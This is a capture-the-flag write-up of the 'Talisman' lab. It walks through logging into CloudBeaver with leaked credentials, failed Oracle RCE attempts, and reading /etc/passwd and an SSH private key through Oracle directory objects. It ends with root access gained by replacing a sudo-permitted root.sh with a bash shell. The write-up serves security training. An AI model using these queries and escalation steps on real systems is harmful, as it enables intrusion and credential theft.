# Talisman

{% embed url="<https://courses.hacksmarter.org/courses/5e5b9833-e6be-4fa0-aa4d-efd3086a612c>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario <a href="#user-content-scenario" id="user-content-scenario"></a>

#### Objective and Scope <a href="#user-content-objective-and-scope" id="user-content-objective-and-scope"></a>

You have been assigned a penetration test on a critical Linux server in the client's environment. The scope is strictly limited to a **single Linux server environment** designated as the target. The primary objective is to gain **root-level access** to this system to demonstrate maximum impact and the full extent of the security compromise to the client.

A set of leaked credentials, recently recovered from a third-party data breach, have been provided. While the specific service or application these credentials belong to is unknown, they serve as the initial vector for establishing a foothold.

**Leaked Credentials**

```
jane / Greattalisman1! 
```

## Recon

We start with a rustscan followed by services and default script scan, but we only find port `22` SSH and port `8978` to be open.

```
rustscan -a talisman.hsm -- -sC -sV
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHVIFECiyJcZT4JNoMZqF%2Fgrafik.png?alt=media&#x26;token=e8b0d8e0-46d2-4ad0-8696-1cc467dfd113" alt=""><figcaption></figcaption></figure>

On port `8978` a web server seems to be running.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FyFimVDQ7GdwRQbgKsZ80%2Fgrafik.png?alt=media&#x26;token=1d53c3c8-d48a-4ef6-9aa5-0f607b19e754" alt=""><figcaption></figcaption></figure>

Visting the site at `8978` reveals to us an instance of CloudBeaver Community. We log in using the credentials available from the scenario description:&#x20;

```
jane / Greattalisman1! 
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMgPXAvkOw2dY8Cz0ff5h%2Fgrafik.png?alt=media&#x26;token=ae80ec2b-7b24-4e5f-b566-b6e6182e1d0b" alt=""><figcaption></figcaption></figure>

## Shell as oracle

After logging in we see an available Oracle connection on `172.17.0.1`. By clicking on that connection we see we have an SQL Editor available and are the user `DEV`. Besides `DEV` further users are available to chose from the drop down.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVXqsEu0FLg974Ty6HSMG%2Fgrafik.png?alt=media&#x26;token=f7e87992-4834-4cee-9326-b66a877cd773" alt=""><figcaption></figcaption></figure>

### Failed Attempt RCE

{% hint style="info" %}
The following sections shows two attempts to gain RCE which fail. Nevertheless, I wanted to give an insight into what I was working on. To solve the challenge, you can jump directly to the **File Read** section.
{% endhint %}

#### Oracle RCE via DBMS\_SCHEDULER

With the following PL/SQL block we try to create a scheduled job in Oracle that launches `/bin/sh` with the argument `-c "id"`. When enabled, it executes the `id` command on the underlying operating system, demonstrating command execution through `DBMS_SCHEDULER`. If that would have run successfully we could replace the id command with a reverse shell to get an interactive session on the machine.

```
BEGIN
  DBMS_SCHEDULER.CREATE_JOB(
    job_name        => 'shelljob',
    job_type        => 'EXECUTABLE',
    job_action      => '/bin/sh',
    number_of_arguments => 1,
    enabled         => FALSE
  );

  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('shelljob',1,'-c "id"');
  DBMS_SCHEDULER.ENABLE('shelljob');
END;
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrXslzYeappXRr3QFkl9j%2Fgrafik.png?alt=media&#x26;token=2fbacf20-cf04-4000-80d6-be587e2b7325" alt=""><figcaption></figcaption></figure>

#### RCE via Java Stored Procedure in Oracle

Since we are not allowed to create a scheduled job executing commands we try it with a Java Stored Procedure. Maybe that works out.&#x20;

Firs, we registers a Java method as a PL/SQL stored procedure `run_cmd` that can execute operating system commands via `ExecOS.runCmd()`.

{% code overflow="wrap" %}

```
BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE PROCEDURE run_cmd(p_cmd IN VARCHAR2) AS LANGUAGE JAVA NAME ''ExecOS.runCmd(java.lang.String)'';';
END;

```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FS9AAnOslsd23FRpQ95Hc%2Fgrafik.png?alt=media&#x26;token=a9814a88-e59d-42e2-aa60-f5c49a157d00" alt=""><figcaption></figcaption></figure>

Next, we verify that the procedure exists. We see it's actually valid. We have a stored procedure and no errors in our java source code.

```
SELECT object_name, status
FROM user_objects
WHERE object_name = 'RUN_CMD';

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1P2OUc7sE69qSHlvb10C%2Fgrafik.png?alt=media&#x26;token=0ebb98ab-3b2b-4781-8462-41d5333ce96c" alt=""><figcaption></figcaption></figure>

Now we try to call `run_cmd` with the argument `id`, causing the database to execute the `id` command on the host system. But we get an Error. We are missing the Permission to execute.

```
BEGIN run_cmd('id'); END;
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FF2z96OhLM4cgwcJM8YmS%2Fgrafik.png?alt=media&#x26;token=1ac66ce3-91df-46b7-a785-cea4fbdf0918" alt=""><figcaption></figcaption></figure>

### File Read

Since our two code execution attempts did not work, let's first check what permissions we actually have. We have the permission `DROP ANY DIRECTORY` and `CREATE ANY DIRECTORY`, which should allow us to rad files on the target system.

> ... the `CREATE` `DIRECTORY` statement to create a directory object. A directory object specifies an alias for a directory on the server file system where external binary file LOBs (`BFILE`s) and external table data are located. You can use directory names when referring to `BFILE`s in your PL/SQL code and OCI calls, rather than hard coding the operating system path name, for management flexibility.
>
> All directories are created in a single namespace and are not owned by an individual schema. You can secure access to the `BFILE`s stored within the directory structure by granting object privileges on the directories to specific users.

{% embed url="<https://docs.oracle.com/cd/B13789_01/server.101/b10759/statements_5007.htm>" %}

```
SELECT * FROM USER_SYS_PRIVS;
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEEZ0S3sjiYheAd52zQUB%2Fgrafik.png?alt=media&#x26;token=b710d326-34bf-40aa-abf0-ed33f8ac72ad" alt=""><figcaption></figcaption></figure>

The following post on Stack Overflow gives us an idea of how we can read privileged files on the system.

{% embed url="<https://stackoverflow.com/questions/34221826/reading-file-from-text-file-using-pl-sql>" %}

We are using the second example crafting a more elegant query using `DBMS_XSLPROCESSOR.READ2CLOB`.

```
BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';
  DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','passwd'));
END;
```

Let's break down what it actually dow:

#### `EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';`

* `EXECUTE IMMEDIATE` = run the SQL command dynamically.
* `CREATE OR REPLACE DIRECTORY` = tells Oracle to create a “directory object,” which is basically a pointer to an OS folder.
* `dir_etc` = the name you give to this Oracle object.
* `AS '/etc'` = points the object to the real filesystem directory `/etc`.
* The doubled single quotes (`''/etc''`) are just PL/SQL’s way of escaping quotes inside a string.

#### `DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','passwd'));`

* `DBMS_XSLPROCESSOR.READ2CLOB` is a built-in Oracle function that can read a file into a CLOB (character large object).
* It takes two arguments:
  * The directory object name (`'DIR_ETC'`).
  * The filename within that directory (`'passwd'`).
* So this call reads `/etc/passwd` from the OS.
* `DBMS_OUTPUT.PUT_LINE` just prints it out to the SQL\*Plus / SQLcl output buffer so you can see it.

So with this command we are able to read `/etc/passwd`.

To show the output we click on the following symbol for `Server output` to be able to view the results.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGIZzbq8q7wqGbqSgamiT%2Fgrafik.png?alt=media&#x26;token=530f020b-8459-4311-ac1d-703f4f5b453d" alt=""><figcaption></figcaption></figure>

We evaluate the statement see that there is an `oracle` user.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKgfQ5UPAKP3604fv7q7U%2Fgrafik.png?alt=media&#x26;token=b56068c4-2387-4b94-b397-0be76147d221" alt=""><figcaption></figcaption></figure>

Next, we could try to get file to receive access. One could be an SSH private key.

We check if we can access the `.ssh` folder by retrieving the `authorized_keys` file. There is also an entry, but we cannot derive which sort of a key might be there. Next, we could try some default names like `id_rsa` or `id_ed25519`.

```
BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir AS ''/home/oracle/.ssh''';
  DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC','authorized_keys'));
END;
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHZEzRIJlcUUUE8XWRCF8%2Fgrafik.png?alt=media&#x26;token=b3054f1d-ba2d-42be-8f4e-6fc620685a7f" alt=""><figcaption></figcaption></figure>

We try to retrieve the `id_rsa` file in `.ssh`. And there is one. We get the private key of `oracle`.

```
BEGIN
  EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir AS ''/home/oracle/.ssh''';
  DBMS_OUTPUT.PUT_LINE(DBMS_XSLPROCESSOR.READ2CLOB('DIR','id_rsa'));
END;
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FH4mJyr3XUndGtCRu3bJE%2Fgrafik.png?alt=media&#x26;token=744c0ee4-f742-4fbe-b5e0-04199c521dcb" alt=""><figcaption></figcaption></figure>

We copy the key to our machine and change the permissions.

```
chmod 600 id_rsa
```

We connect as `oracle` via SSH using the key and are successful. We'll find the `user.txt` in the home directory. In theroy we could retrieve the key also with the file read permission in oracle.

```
ssh -i id_rsa oracle@talisman.hsm
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fh4U8bS6c3pfrNvqZlqvP%2Fgrafik.png?alt=media&#x26;token=eb6f7ddf-eb2c-416a-af3d-223acf0f0442" alt=""><figcaption></figcaption></figure>

## Shell as root

Next, we start our enumeration process on the target. While checking our permissions for sudo we see that we are able to execute the script `/opt/oracle/product/21c/dbhomeXE/root.sh` with `root` permssions without providing a password. If we could hijack that script we could gain `root` access.

```
sudo -l
```

We check the permissions on the foler `/opt/oracle/product/21c` and we are the owner of the folder. We do not have `write` permissions on `/opt/oracle/product/21c/dbhomeXE/root.sh`, but since we are the owner of the folder. We can just delete the script and replace it.

```
ls -lah /opt/oracle/product/21c
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvhMN4w6DxNuIt1uH3KXi%2Fgrafik.png?alt=media&#x26;token=ee849e40-ff81-4d9d-a9f0-7f10b73ca2a1" alt=""><figcaption></figcaption></figure>

We remove the script.

```
rm ls -lah /opt/oracle/product/21c/dbhomeXE/root.sh
```

And create a new one spawing us an interactive bash.&#x20;

{% code title="/opt/oracle/product/21c/dbhomeXE/root.sh" overflow="wrap" lineNumbers="true" %}

```
#!/bin/bash
/bin/bash -i
```

{% endcode %}

```
vi /opt/oracle/product/21c/dbhomeXE/root.sh
```

Now we add execute persmissions,...

```
chmod +x /opt/oracle/product/21c/dbhomeXE/root.sh
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FoptDqKtUfD4EsUyKCVnS%2Fgrafik.png?alt=media&#x26;token=78fa2ddb-6645-4500-ab63-11aed72db56c" alt=""><figcaption></figcaption></figure>

..., and execute the script using `sudo`. We receive a `root` shell and are able to reach the final flag at `/root/root.txt`.

```
sudo /opt/oracle/product/21c/dbhomeXE/root.sh
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FktN0mR1CnsKalguJHVWd%2Fgrafik.png?alt=media&#x26;token=cf0fe00f-3cba-4063-a691-ea8741068293" alt=""><figcaption></figcaption></figure>
